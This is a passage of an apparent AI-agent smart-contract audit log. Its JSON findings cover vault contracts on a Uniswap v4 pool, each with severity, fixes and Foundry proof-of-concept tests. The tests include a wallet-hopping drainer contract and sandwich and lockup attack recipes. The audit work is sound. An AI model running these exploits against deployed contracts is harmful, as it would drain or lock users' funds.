address(manager), \"not manager\");\n        (uint8 kind, PoolKey memory key, uint128 amount, bool zeroForOne) =\n            abi.decode(data, (uint8, PoolKey, uint128, bool));\n        BalanceDelta delta;\n        if (kind == 0) {\n            (delta,) = manager.modifyLiquidity(\n                key,\n                IPoolManager.ModifyLiquidityParams({\n                    tickLower: -600,\n                    tickUpper: 600,\n                    liquidityDelta: int256(uint256(amount)),\n                    salt: bytes32(0)\n                }),\n                \"\"\n            );\n        } else {\n            delta = manager.swap(\n                key,\n                IPoolManager.SwapParams({\n                    zeroForOne: zeroForOne,\n                    amountSpecified: -int256(uint256(amount)),\n                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n                }),\n                \"\"\n            );\n        }\n        pay(key.currency0, delta.amount0());\n        pay(key.currency1, delta.amount1());\n        return \"\";\n    }\n\n    function pay(Currency c, int128 delta) private {\n        if (delta < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));\n            manager.settle();\n        } else if (delta > 0) {\n            manager.take(c, address(this), uint256(uint128(delta)));\n        }\n    }\n}\n\n\ncontract BuybackBrickTest is Test {\n    SandwichToken internal imd;\n    SandwichToken internal token;\n    SandwichFactory internal factory;\n    SIMDVault internal vault;\n    CompensationVault internal compensation;\n    PoolKey internal key;\n    IPoolManager internal manager;\n\n    function _setUp(uint128 liquidity, uint256 vaultImd) internal {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new SandwichToken()).code);\n        vm.etch(Network.FACTORY, address(new SandwichFactory()).code);\n        deployCodeTo(\"PoolManager.sol:PoolManager\", abi.encode(address(this)), Network.POOL_MANAGER);\n        imd = SandwichToken(Network.IMD);\n        factory = SandwichFactory(Network.FACTORY);\n        manager = IPoolManager(Network.POOL_MANAGER);\n        address tokenAddress = address(0x1000);\n        vm.etch(tokenAddress, address(new SandwichToken()).code);\n        token = SandwichToken(tokenAddress);\n        key = PoolKey({\n            currency0: Currency.wrap(tokenAddress < Network.IMD ? tokenAddress : Network.IMD),\n            currency1: Currency.wrap(tokenAddress < Network.IMD ? Network.IMD : tokenAddress),\n            fee: 3000,\n            tickSpacing: 60,\n            hooks: IHooks(address(0))\n        });\n        manager.initialize(key, uint160(1 << 96));\n        V4Actor seeder = new V4Actor(manager);\n        imd.mint(address(seeder), 1e30);\n        token.mint(address(seeder), 1e30);\n        seeder.seed(key, liquidity); // launch position over ticks [-600, 600]\n        vault = new SIMDVault();\n        compensation = vault.compensationVault();\n        factory.configure(key, address(vault));\n        vm.prank(Network.DEV);\n        vault.bindLaunch(1, tokenAddress);\n        token.mint(address(compensation), 1000 ether); // the 10% launch allocation for the 62 wallets\n        if (vaultImd != 0) imd.mint(address(compensation), vaultImd);\n        vm.warp(compensation.buybackAvailableAt());\n    }\n\n    function _runBuybackFor30Days() internal {\n        for (uint256 i; i < 12; ++i) {\n            try compensation.buyback() {} catch {}\n            vm.warp(block.timestamp + 10 minutes);\n        }\n        vm.warp(block.timestamp + 30 days);\n        try compensation.buyback() {} catch {}\n    }\n\n    /// No anti-sniper fee (nobody sniped); anyone donates 10 wei IMD before the first buyback.\n    function testDustDonationMustNotLockTheAirdropForever() public {\n        _setUp(1e26, 10);\n        _runBuybackFor30Days();\n        assertTrue(compensation.buybackComplete(), \"10 wei donation: buyback never completes, airdrop locked\");\n    }\n\n    /// The anti-sniper fee is larger than the launch range can absorb in one tranche.\n    function testPartialFillMustNotLockTheAirdropForever() public {\n        _setUp(1e20, 1000 ether);\n        _runBuybackFor30Days();\n        assertTrue(compensation.buybackComplete(), \"partial fill: buyback never completes, airdrop locked\");\n    }\n}","reproduction":"test/scratch/BuybackBrick.t.sol uses the real v4 PoolManager with the launch position over ticks [-600,600]; the vault holds 1000 TEST. (a) liquidity 1e26 and 10 wei of IMD in the vault: every buyback() reverts InvalidSwap (trace: Swap amount0 0, amount1 -1), across 12 calls 10 minutes apart and again 30 days later. (b) liquidity 1e20 and 1000e18 IMD: the swap consumes 3.054e18 of 100e18 and stops at tick 887271 with liquidity 0, then InvalidSwap, the same on every retry. Expected: the buyback completes and airdrop() pays the 62 wallets. Actual: buybackComplete stays false forever, so airdrop() reverts BuybackNotFinished. Both tests fail on this code.","severity":"high","snippet":"        if (int256(inputDelta) != -int256(spend) || outputDelta <= 0) revert InvalidSwap();","title":"CompensationVault: a tranche that cannot fill exactly (dust tranche with zero output, or more IMD than the launch range absorbs) makes buyback() revert forever and the airdrop can never open"},{"citation":"resolved","description":"Merges audit_flow, audit_economics, audit_permissions and audit_math (reported as medium/high). requestJob() reads the caller's live balanceOf and keys the cooldown on msg.sender only. The same tokens can be transferred to a fresh wallet after each call, so one holder spends the vault's whole weekly 25.72% share on their own jobs and other holders' requests revert for lack of IMD. The IMD goes to Intake as job payments, not to the attacker. So this is budget capture and a broken rate-limit promise, not theft, which puts it at medium. Fix within the design: a global daily cap on jobs or spend, or eligibility from a past snapshot or holding age.","line":36,"path":"src/JobsVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {JobsVault} from \"src/JobsVault.sol\";\nimport {Network} from \"src/Network.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\n/// Finding: JobsVault.requestJob checks a spot balance and a per-address cooldown only. One\n/// 1,000,000-token holding, moved between fresh wallets inside a single transaction, opens an\n/// unbounded number of jobs and drains the JobsVault IMD in one block.\ncontract ProofToken is ERC20 {\n    constructor() ERC20(\"Test\", \"TEST\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract ProofIntake is IIntake {\n    uint256 public nonce;\n    uint256 public constant PRICE = 1 ether;\n\n    function priceOf(bytes32, address) external pure returns (uint256) {\n        return PRICE;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32 id)\n    {\n        require(amount == PRICE, \"wrong amount\");\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount), \"pull failed\");\n        id = keccak256(abi.encode(msg.sender, ++nonce));\n    }\n}\n\n/// One fresh wallet: opens a job with the tokens it holds, then passes the same tokens on.\ncontract Hop {\n    function run(JobsVault jobs, IERC20 tkn, address next, uint256 amount) external {\n        try jobs.requestJob(\"job body\") {} catch {}\n        tkn.transfer(next, amount);\n    }\n}\n\ncontract Drainer {\n    function drain(JobsVault jobs, IERC20 tkn, uint256 hops) external {\n        uint256 amount = tkn.balanceOf(address(this));\n        Hop current = new Hop();\n        tkn.transfer(address(current), amount);\n        for (uint256 i; i < hops; ++i) {\n            Hop next = new Hop();\n            current.run(jobs, tkn, address(next), amount);\n            current = next;\n        }\n    }\n}\n\ncontract JobsVaultHoldingHopTest is Test {\n    JobsVault internal jobs;\n    ProofToken internal token;\n    ProofToken internal imd;\n    Drainer internal drainer;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new ProofToken()).code);\n        vm.etch(Network.INTAKE, address(new ProofIntake()).code);\n        imd = ProofToken(Network.IMD);\n        token = new ProofToken();\n        jobs = new JobsVault(address(this));\n        jobs.setToken(address(token));\n        drainer = new Drainer();\n        token.mint(address(drainer), 1_000_000 ether); // exactly the minimum holding, once\n        imd.mint(address(jobs), 20 ether); // 20 jobs' worth of IMD\n    }\n\n    function testOneHoldingCannotOpenMoreThanOneJobPerDay() public {\n        uint256 before = imd.balanceOf(address(jobs));\n        // Twenty wallets share the same 1,000,000 tokens in one transaction.\n        drainer.drain(jobs, IERC20(address(token)), 20);\n        uint256 spent = before - imd.balanceOf(address(jobs));\n        // Intended: one holding of the minimum opens at most one job per 24 hours.\n        assertLe(spent, 1 ether, \"a single 1,000,000 holding paid for more than one job in one block\");\n    }\n}","reproduction":"Ran test/scratch/Proof_33158fc89aea.t.sol. Setup: JobsVault holds 20 IMD, Intake price 1 IMD, one 1,000,000-token holding. In one tx it hops through 20 wallets, each calling requestJob and then passing the tokens on. Expected: one job, 1 IMD spent. Actual: 20 jobs and 20 IMD spent. The test fails with '20000000000000000000 > 1000000000000000000'. Proof_8e7f597555b8 also reproduces: 80 IMD drained against a 10 IMD expectation.","severity":"medium","snippet":"        if (IERC20(token).balanceOf(msg.sender) < minimumHolding) revert InsufficientHolding();","title":"JobsVault.requestJob(): the holding gate and 24-hour limit are per address on a spot balance, so one 1,000,000-token bag moved between wallets drains the whole jobs budget in one block"},{"citation":"resolved","description":"Merges audit_flow, audit_economics, audit_permissions and audit_math. initialIMD and trancheCap are read once, at whatever moment the first buyback() runs. If the balance is below 10 wei then, _finishBuyback() runs at once (lines 91-93). After completion buyback() reverts BuybackFinished, and no other function moves IMD. So an anti-sniper fee the hook pays after bind+30min, any later IMD, and the initialIMD % 10 remainder are stranded. Low because it depends on when the hook pays, which this tree does not show.","line":88,"path":"src/CompensationVault.sol","reproduction":"Code trace: the vault is bound at T and its IMD balance is 0 at T+30min. Anyone calls buyback(): buybackStarted=true, initialIMD=0, trancheCap=0, so buybackComplete=true. Then 1000 IMD is transferred to the vault. buyback() reverts BuybackFinished (line 84), and no function in CompensationVault can move IMD. Expected: the IMD is bought back and airdropped. Actual: it is locked for good.","severity":"low","snippet":"            initialIMD = IERC20(Network.IMD).balanceOf(address(this));","title":"CompensationVault.buyback(): the first permissionless call freezes the IMD budget; IMD that arrives later, or a zero balance at that first call, is locked forever"},{"citation":"resolved","description":"Merges audit_economics and audit_permissions. A retry only needs requestedAt + 1 day; it does not need the earlier request to have failed. It deletes the earlier request id, so Intake's delivery of that answer, already paid from the holders' pot, reverts UnknownRequest. Someone paying one oracle price per day can keep the epoch from ever becoming ready until rollover. Holders are delayed, not robbed.","line":131,"path":"src/HolderRewards.sol","reproduction":"Code trace: epoch 1's request R1 is pending. At requestedAt+1day anyone approves the price and calls retryOracle(1): pending[R1] is deleted and R2 is registered. Intake then calls onOracleResult(R1, a valid attestation for epoch 1). Expected: the root is installed (same question and block). Actual: revert UnknownRequest at line 142. Repeat daily until day 28.","severity":"low","snippet":"        delete pending[e.requestId];","title":"HolderRewards.retryOracle(): any sponsor can invalidate the still-pending, pot-funded oracle request after one day, so its late answer is rejected"},{"citation":"resolved","description":"From audit_math. onDeposit opens the epoch with pot = amount + carry but passes only `amount` to requestDepositedEpoch. In a week where the holder share is at most the price (for example zero fees), the epoch is deferred even though its own pot could pay for the request. The carried IMD stays unclaimable until someone pays retryOracle out of pocket, or until a later week's deposit is larger than the price.","line":113,"path":"src/HolderRewards.sol","reproduction":"Code trace: rollover(1) moves 100e18 of carry into a new epoch. Next distribute() gives the holders 0, so onDeposit(0) opens an epoch with pot = snapshotPot = 100e18. requestDepositedEpoch(id, 0) reverts at line 113 (price >= 0), the catch emits OracleDeferred, and requestId stays 0. Expected: the epoch pays the price from its own 100e18 pot and asks for a root. Actual: no request is made.","severity":"low","snippet":"        if (price == 0 || price >= deposit) revert InsufficientDeposit();","title":"HolderRewards: oracle affordability is checked against the new deposit only, so an epoch holding rolled-over carry is never asked and its pot waits for a sponsor"},{"citation":"resolved","description":"Merges audit_economics (medium) and audit_permissions (low). The brief does specify a snapshot 'at the deposit block', and buying just before a claim gives nothing, so the brief's literal guarantee holds. But whoever calls distribute() picks the snapshot block. They can hold a bag across that one block and take a share of 40% of the week's fees, at the cost of two swap fees plus price impact. Low: a design gap, not a code defect against the brief.","line":286,"path":"src/HolderRewards.sol","reproduction":"At nextDistributionAt, the attacker buys tokens equal to the eligible supply S and calls distribute() in the same tx; snapshotBlock is this block. They sell in the next block. A correct oracle root gives the attacker floor(pot*S/2S), half the holder pot. Expected: a one-block holder earns nothing. Actual: 50% of the pot.","severity":"low","snippet":"        e.snapshotBlock = snapshotHead();","title":"HolderRewards snapshot block is the block of a permissionless distribute(), so the caller can buy right before it and sell right after"},{"citation":"resolved","description":"From audit_economics. The brief says a native payout must not block the IMD split or the burn. receive() accepts ETH from anyone, and a failed push to MARKETING reverts everything. This only matters if 0xdfa1...bdc0 is or becomes code that rejects ETH (a smart wallet or EIP-7702 delegation); as an EOA it cannot fail. That could not be checked here, hence low. Fix: on failure keep the ETH for next week instead of reverting.","line":124,"path":"src/SIMDVault.sol","reproduction":"With code at MARKETING whose receive() reverts (vm.etch), anyone sends 1 wei to the vault and then calls distribute(). The IMD transfers and the burn succeed, then the call to MARKETING returns false, NativeTransferFailed is raised and the whole tx reverts. Expected: the split and burn complete and the ETH is kept. Actual: nothing is distributed, every week while the condition lasts.","severity":"low","snippet":"            if (!ok) revert NativeTransferFailed();","title":"SIMDVault.distribute(): a failed native ETH transfer to the marketing wallet reverts the whole distribution, including the IMD split and the burn"},{"citation":"resolved","description":"From audit_flow. launch() sends request() with no callback. Per the intake-client reference, a refused body (status 1) still spends the price and has no refund. In that case no launch ever has this vault as requester, so bindLaunch reverts NotRequester for every number, launch() reverts AlreadyLaunched, distribute() reverts NotBound, and any IMD left in the vault has no exit. The brief does say 'only once', hence low. Fix: use a failure callback from Intake that clears `launched`.","line":78,"path":"src/SIMDVault.sol","reproduction":"Code trace: the vault holds 2x the price. The dev calls launch(body) and the plane refuses the body, so the price is spent and launched=true. launch(body2) reverts AlreadyLaunched. bindLaunch(n, t) reverts NotRequester for every n. distribute() reverts NotBound. The remaining IMD is stuck.","severity":"low","snippet":"        launched = true;","title":"SIMDVault.launch(): the one-shot flag is used even if the plane refuses the launch body, leaving the vault permanently unbindable"}],"hash":"06f8c7f658b75da5768630df58b022d1e7857b50deb50df6cc27820aa6a8dcf4","nodeId":"3087fc46-ea6e-470d-9726-f85e98d2b8a3","outcome":"completed","summary":"I've written the review to `.imd-findings.json`. It holds 9 findings and a coverage row for all 17 entry points, and every path, line and snippet matches the tree. The two highs and one medium carry Foundry proofs, and I ran each one and saw it fail on the current code for the stated reason. `test/scratch/` is deleted again, so no repository file is changed.\n\n**High**\n1. **`buyback()` can be sandwiched in one transaction** (`CompensationVault.sol:131`). The tranche swap has no price bound and anyone can call it. So a contract can push the price up, call `buyback()`, and sell back, with no mempool needed. Three specialists reported this; merged into one. Their proof against the real v4 PoolManager shows the vault paying 100 IMD for 41.6 TEST, and the attacker ending 53.7 IMD richer. That can repeat on all ten tranches.\n2. **The buyback can lock up for good, and the airdrop with it** (`CompensationVault.sol:137`). Every tranche must spend exactly its amount and get more than zero tokens back, and nothing else ever ends the buyback. I wrote a new proof showing two ways to trigger it:\n   - If nobody sniped, someone donates 10 wei of IMD. Each 1-wei tranche goes entirely to the pool fee, returns nothing, and reverts.\n   - If the IMD is more than the launch position's range can absorb, the swap fills only partly and reverts.\n   \n   Either way `airdrop()` reverts `BuybackNotFinished` forever, so the 10% supply held for the 62 wallets is stuck. This merges two math findings and one economics finding.\n\n**Medium**\n3. **One 1,000,000-token holding drains `JobsVault`** (`JobsVault.sol:36`). The holding check and the 24-hour limit are per address on the live balance, so passing the same tokens between wallets opens unlimited jobs in one block. The proof shows 20 jobs paid where 1 should be. Four specialists reported it, two of them as high. I lowered it because the IMD goes to Intake as job payments, not to the attacker.\n\n**Low**\n4. Whoever calls `buyback()` first fixes the IMD budget. IMD that arrives later, or a zero balance at that first call, is locked.\n5. `retryOracle()` cancels the request still waiting for its answer, which was paid from the holders' pot. Its late answer is then rejected.\n6. An epoch holding rolled-over funds never asks the oracle in a low-fee week. The affordability check looks at the new deposit only.\n7. Whoever calls `distribute()` chooses the snapshot block, so they can hold tokens for just that block and take a share.\n8. If the marketing wallet rejects ETH, the whole `distribute()` reverts, including the IMD split and the burn. This only matters if that address is a contract; I couldn't check that here.\n9. If the launch request is refused, `launch()` still counts as used. The vault can then never be bound, and its remaining IMD has no exit.\n\n**Dropped:** the gas-limit note (not checked against the real Intake), the \"tiny deposit buys the oracle\" note (it follows the brief), and the trust-assumptions note (not a defect).\n\nI also checked deployment: contract sizes are under the limits (largest initcode is `SIMDVault` at 32,986 B), the constructors call no outside contract, and `launch.json` is valid against the schema.\n\nThe rows I marked `holds` are `bindLaunch`, `setLaunch`, `claim`, `rollover`, both `setToken`s and `receive`.","treeHash":null,"usage":{"cachedInputTokens":1138181,"inputTokens":2984,"model":"claude-opus-5-5","outputTokens":16270,"runtime":"claude","turns":15,"wallClockMs":428200}},{"artifacts":[],"attempt":1,"bundleHash":"9a440f39587bc1a0a177df20ba0d8b0699b2736516ec6d3083a30353b29ef615","device":"4f2ce49dc630c86e","findings":[],"hash":"231ce8a1429579494f3d5e332218c7c9987123cbbc972a31329c76e621838f47","nodeId":"2a63da5a-94b5-4737-aedb-e86d9fbcc281","outcome":"completed","summary":"I checked `launch.json` against the accepted code and it already matched, so I left the contract list alone and only added one fact to the notes. It is the only file changed. `forge build` passes, and `forge test` with the verifier's fuzz seed ran 96 tests: 95 passed, 0 failed and 1 skipped.\n\n- **Contracts:** the manifest names a single contract, `SIMDVault`, with no constructor arguments (`\"constructorArgs\": []`). That matches `src/SIMDVault.sol:64`, a constructor that takes no arguments and creates `JobsVault`, `CompensationVault` and `HolderRewards` itself. They are exposed as immutable getters. Listing the three as separate manifest entries would deploy copies that aren't linked to the vault, so they stay out.\n- **Owner:** there is no `$owner` argument, because the contracts have no owner or admin. Every fixed address is a constant in `src/Network.sol`.\n- **Notes edit:** the notes now say that oracle answers must come from Intake and also carry an attestation signed by the oracle signer constant `0x5598aa9146215bc13eb26f2c692ad1461fd32982`, as `HolderRewards` requires in its code. That address is in the accepted code but not in your brief.\n- **Format:** the file still has only the `kind`, `contracts` and `notes` keys, and the notes are 2,743 characters, under the 4,000 limit.\n\nThe skipped test is presumably the Robinhood Chain fork test, which skips when no network is configured. If so, the fork run against the real Intake and factory has not been done on this machine.","treeHash":"555d404d0a438e4a30de68b24100a4a87212a007","usage":{"cachedInputTokens":203974,"inputTokens":12,"model":"claude-opus-5-5","outputTokens":2430,"runtime":"claude","turns":6,"wallClockMs":372792}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"a31e321b410aaa02","findings":[{"citation":"resolved","description":"unlockCallback() swaps each tranche with sqrtPriceLimitX96 at the absolute pool bound and buyback() checks only that the full IMD was spent and that at least 1 wei of the launched token came back (lines 106-110). buyback() is callable by anyone, so an attacker does not need a mempool: in one transaction it (1) buys the launched token with IMD to push the pool price up, (2) calls buyback(), which spends the whole 10% tranche at the manipulated price, and (3) sells back. The brief relies on the 10%/10-minute tranching so that 'no single swap can be sandwiched for much', but the tranching only bounds each loss to one tranche; the attacker repeats the same transaction at every 10-minute boundary for all ten tranches. Against the real v4 PoolManager with a full-range position of ~1000 IMD / ~1000 TEST, a 0.3% fee pool and 1000 IMD in the vault, the honest tranche buys 90.66 TEST; inside the sandwich the vault spends the same 100 IMD for 0.99 TEST and the attacker nets 69 IMD after fees. The 62 migration victims receive almost no bought-back tokens. Fix that preserves the design: keep the tranche schedule but bound each swap, e.g. record the pool sqrtPrice at setLaunch (or at the previous tranche / a block earlier than the call) and pass a sqrtPriceLimitX96 a fixed percentage away from it, reverting (not finishing) the tranche when the limit is hit, or require a minimum output derived from that reference price.","line":131,"path":"src/CompensationVault.sol","reproduction":"State: pool TEST/IMD initialized at price 1 with full-range liquidity L=1000e18 (reserves ~1000 each), fee 3000; CompensationVault bound and holding 1000 IMD; block.timestamp >= buybackAvailableAt. Attacker contract holds 9000 IMD. In ONE transaction: swap 9000 IMD -> TEST (exact input, no limit); call compensation.buyback(); sell all received TEST back for IMD. Expected: the vault either refuses the tranche under a manipulated price or receives close to the 90.66 TEST an unmanipulated tranche buys. Actual: vault spends 100 IMD and receives 0.992 TEST; attacker IMD balance rises from 9000 to 9069. Proof: test/scratch/BuybackSandwich.t.sol (forge test --match-path test/scratch/BuybackSandwich.t.sol -vv).","severity":"high","snippet":"                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1","title":"CompensationVault.buyback(): swap has no price bound and is permissionless, so every tranche can be sandwiched atomically"},{"citation":"resolved","description":"Eligibility is the live balanceOf(msg.sender) and the cooldown is keyed on msg.sender only. The same 1,000,000 tokens can be transferred wallet-to-wallet inside one transaction, and each wallet passes both checks, so a single actor spends priceOf('job.open@job-1') from the JobsVault once per hop until the vault's IMD is below the price. The 25.72% weekly share meant for all holders is consumed by one holder (or by a flash-borrowed position) in one block, and every other holder's requestJob reverts for lack of IMD. The brief's 'at most once per 24 hours' is therefore not enforced for a holding, only for an address. Fix within the design: make the limit follow the tokens rather than the address, e.g. require the balance to have been held since the previous day (snapshot/last-transfer tracking), or add a global cap of jobs per day proportional to supply, or both.","line":36,"path":"src/JobsVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SIMDVault} from \"src/SIMDVault.sol\";\nimport {JobsVault} from \"src/JobsVault.sol\";\nimport {Network} from \"src/Network.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\n\ncontract ProofToken is ERC20 {\n    constructor() ERC20(\"Proof\", \"PRF\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Intake stand-in: a fixed price, pulled from the caller on every request.\ncontract ProofIntake is IIntake {\n    uint256 public constant PRICE = 0.5 ether;\n    uint256 public nonce;\n\n    function priceOf(bytes32, address) external pure returns (uint256) {\n        return PRICE;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32)\n    {\n        require(amount == PRICE, \"price\");\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount), \"pull\");\n        return keccak256(abi.encode(msg.sender, ++nonce));\n    }\n}\n\ncontract ProofFactory {\n    PoolKey private key;\n    address public requester;\n\n    function configure(PoolKey memory key_, address requester_) external {\n        key = key_;\n        requester = requester_;\n    }\n\n    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {\n        return (key, -600, 600, requester);\n    }\n}\n\n/// @dev Just enough PoolManager for CompensationVault.setLaunch: an initialized slot0.\ncontract ProofManager {\n    function extsload(bytes32) external pure returns (bytes32) {\n        return bytes32(uint256(1 << 96));\n    }\n}\n\ncontract JobsSybilProof is Test {\n    uint256 internal constant PRICE = 0.5 ether;\n    SIMDVault internal vault;\n    JobsVault internal jobs;\n    ProofToken internal imd;\n    ProofToken internal token;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new ProofToken()).code);\n        vm.etch(Network.INTAKE, address(new ProofIntake()).code);\n        vm.etch(Network.FACTORY, address(new ProofFactory()).code);\n        vm.etch(Network.POOL_MANAGER, address(new ProofManager()).code);\n        imd = ProofToken(Network.IMD);\n        token = new ProofToken();\n        PoolKey memory key = PoolKey({\n            currency0: Currency.wrap(address(token) < Network.IMD ? address(token) : Network.IMD),\n            currency1: Currency.wrap(address(token) < Network.IMD ? Network.IMD : address(token)),\n            fee: 3000,\n            tickSpacing: 60,\n            hooks: IHooks(address(0))\n        });\n        vault = new SIMDVault();\n        jobs = vault.jobsVault();\n        ProofFactory(Network.FACTORY).configure(key, address(vault));\n        vm.prank(Network.DEV);\n        vault.bindLaunch(1, address(token));\n        imd.mint(address(jobs), 3 * PRICE);\n    }\n\n    /// @notice One holder of exactly 1,000,000 tokens moves the same tokens through fresh wallets in\n    /// a single block and opens a job from each. The per-wallet 24-hour limit never applies, so the\n    /// JobsVault pot is emptied by one actor in one transaction.\n    function test_sameTokensCannotBuyMoreThanOneJobPerDay() public {\n        address[3] memory wallets = [makeAddr(\"w1\"), makeAddr(\"w2\"), makeAddr(\"w3\")];\n        token.mint(wallets[0], 1_000_000 ether);\n        bytes memory body = bytes('{\"objective\":\"x\",\"skill\":\"build-website\"}');\n        for (uint256 i; i < wallets.length; ++i) {\n            vm.prank(wallets[i]);\n            // A revert here is the fixed behaviour; it must not abort the sequence.\n            (bool ok,) = address(jobs).call(abi.encodeCall(jobs.requestJob, (body)));\n            ok;\n            if (i + 1 < wallets.length) {\n                vm.prank(wallets[i]);\n                token.transfer(wallets[i + 1], 1_000_000 ether);\n            }\n        }\n        // Expected: the same 1,000,000 tokens buy at most one job per 24 hours, so at most one price\n        // leaves the vault in this block. Actual: all three prices leave, the pot is empty.\n        assertGe(imd.balanceOf(address(jobs)), 2 * PRICE, \"one holding bought several jobs in one block\");\n    }\n}","reproduction":"State: JobsVault bound, holding 1.5 IMD (3 x price 0.5); wallet w1 holds exactly 1,000,000 TEST. Same block: w1.requestJob(body); w1.transfer(w2, 1,000,000); w2.requestJob(body); w2.transfer(w3, 1,000,000); w3.requestJob(body). Expected: at most one price leaves the vault per 24 hours for that holding (vault keeps >= 1.0 IMD). Actual: all three requests succeed and the vault holds 0 IMD. Proof: test/scratch/JobsSybil.t.sol.","severity":"medium","snippet":"        if (IERC20(token).balanceOf(msg.sender) < minimumHolding) revert InsufficientHolding();\n        if (block.timestamp < nextRequestAt[msg.sender]) revert DailyLimit();","title":"JobsVault.requestJob(): the 24-hour limit is per wallet, so one 1,000,000-token holding opens unlimited jobs through fresh wallets in one block"},{"citation":"resolved","description":"The budget is read from the balance at the first buyback() call, which anyone may make at exactly buybackAvailableAt (bind + 30 minutes). If the hook's anti-sniper IMD (or any later IMD, e.g. fees routed here) has not landed by then, the frozen budget is smaller than what the vault ends up holding; with a zero balance trancheCap == 0 and _finishBuyback() runs immediately (line 91-93), after which buyback() reverts BuybackFinished forever. There is no other path for IMD to leave CompensationVault, so late IMD is permanently stranded and the airdrop only distributes the factory's 10% allocation. The contract comment accepts post-start donations being unspendable, but the trigger is permissionless and the timing of the hook's payout is not controlled by this code. A fix that keeps the design: refuse to start (revert instead of finishing) when the balance is zero, and/or let a further round of up to ten tranches start on IMD that arrives after completion.","line":86,"path":"src/CompensationVault.sol","reproduction":"State: vault bound at T; CompensationVault IMD balance 0 at T + 30 minutes. Anyone calls buyback() at T + 30 min: buybackStarted = true, initialIMD = 0, trancheCap = 0, _finishBuyback() -> buybackComplete = true. Later the hook (or anyone) transfers 1000 IMD to the vault. Expected: the 1000 IMD is swapped for the launched token in tranches and airdropped. Actual: buyback() reverts BuybackFinished(); no function can move the 1000 IMD; airdrop() pays only the launch allocation.","severity":"low","snippet":"        if (!buybackStarted) {\n            buybackStarted = true;\n            initialIMD = IERC20(Network.IMD).balanceOf(address(this));\n            trancheCap = initialIMD / MAX_TRANCHES;\n        }","title":"CompensationVault.buyback(): the first permissionless call freezes initialIMD, and any IMD that arrives afterwards is locked forever"},{"citation":"resolved","description":"launch() uses request() with no callback and no onFailure selector, so the vault never learns whether the launch was accepted. The Intake accepts the request and spends the price regardless of outcome; if the plane later refuses the body (status 1) or the work ends without a launch (status 2), no launch exists whose requester is this vault, bindLaunch() can never pass the requester check, and the vault's remaining IMD (funded for the launch and any later deposits) can never leave: distribute() reverts NotBound, launch() reverts AlreadyLaunched, and there is no other transfer path. The brief's 'only once' is satisfied, but the intent is one successful launch. A fix that preserves the design: ask through requestWithFailure with an onFailure callback (Intake only) that clears launched so the dev can submit a corrected body; the success path stays single-use.","line":78,"path":"src/SIMDVault.sol","reproduction":"State: fresh SIMDVault holding 2 x priceOf('launch.open@launch-1', IMD). Dev calls launch(body) with a body the plane refuses (e.g. missing required launch fields). Intake pulls the price and returns a requestId; launched = true. Plane records status 1 for the request; no launch number is ever assigned to the vault. Expected: the dev can submit a corrected body, or the IMD can be recovered. Actual: launch(body2) reverts AlreadyLaunched(); bindLaunch(n, token) reverts NotRequester() for every n; distribute() reverts NotBound(); the vault's IMD is stuck with no function able to move it.","severity":"low","snippet":"        launched = true;\n        IERC20(IMD).forceApprove(INTAKE, price);\n        requestId = IIntake(INTAKE)\n            .request(Network.LAUNCH_ACTION, body, IIntake.Callback(address(0), bytes4(0)), IMD, price);","title":"SIMDVault.launch(): the one-shot flag is burned even when the plane refuses the body, with no failure callback, leaving the vault's IMD with no exit"}],"hash":"32b133761bebe6b63a17cf4adfed9144563f889dd06fa5c9529b26879973d124","nodeId":"d5ba67cf-6030-4525-a91a-ad9ba9d5276f","outcome":"completed","summary":"The zero-balance path is confirmed. The findings file is in place and validated, and `test/scratch/` is gitignored so the tree is unchanged.\n\n## Summary\n\nThe review of the control-flow area (Execution Trace, Periphery, First Principles) is complete. Four findings are recorded in `.imd-findings.json`, two with Foundry proofs that fail on the current code, plus a coverage row for all 17 entry points and two invariants.\n\n**Findings**\n\n1. **High. Buyback tranches can be sandwiched atomically.** The swap in `unlockCallback` uses the absolute pool price bound and only checks that at least 1 wei of token came back. Because `buyback()` is permissionless, an attacker front-runs, calls it, and back-runs in one transaction, with no mempool needed. Against the real v4 PoolManager, the honest tranche buys 90.66 tokens; inside the sandwich the vault pays the same 100 IMD for 0.99 tokens and the attacker nets 69 IMD. Repeating at each 10-minute boundary drains all ten tranches. Proof: `test/scratch/BuybackSandwich.t.sol`.\n2. **Medium. JobsVault daily limit is per address, not per holding.** One 1,000,000-token position hopped through fresh wallets in a single block opens a job from each and empties the vault's IMD. 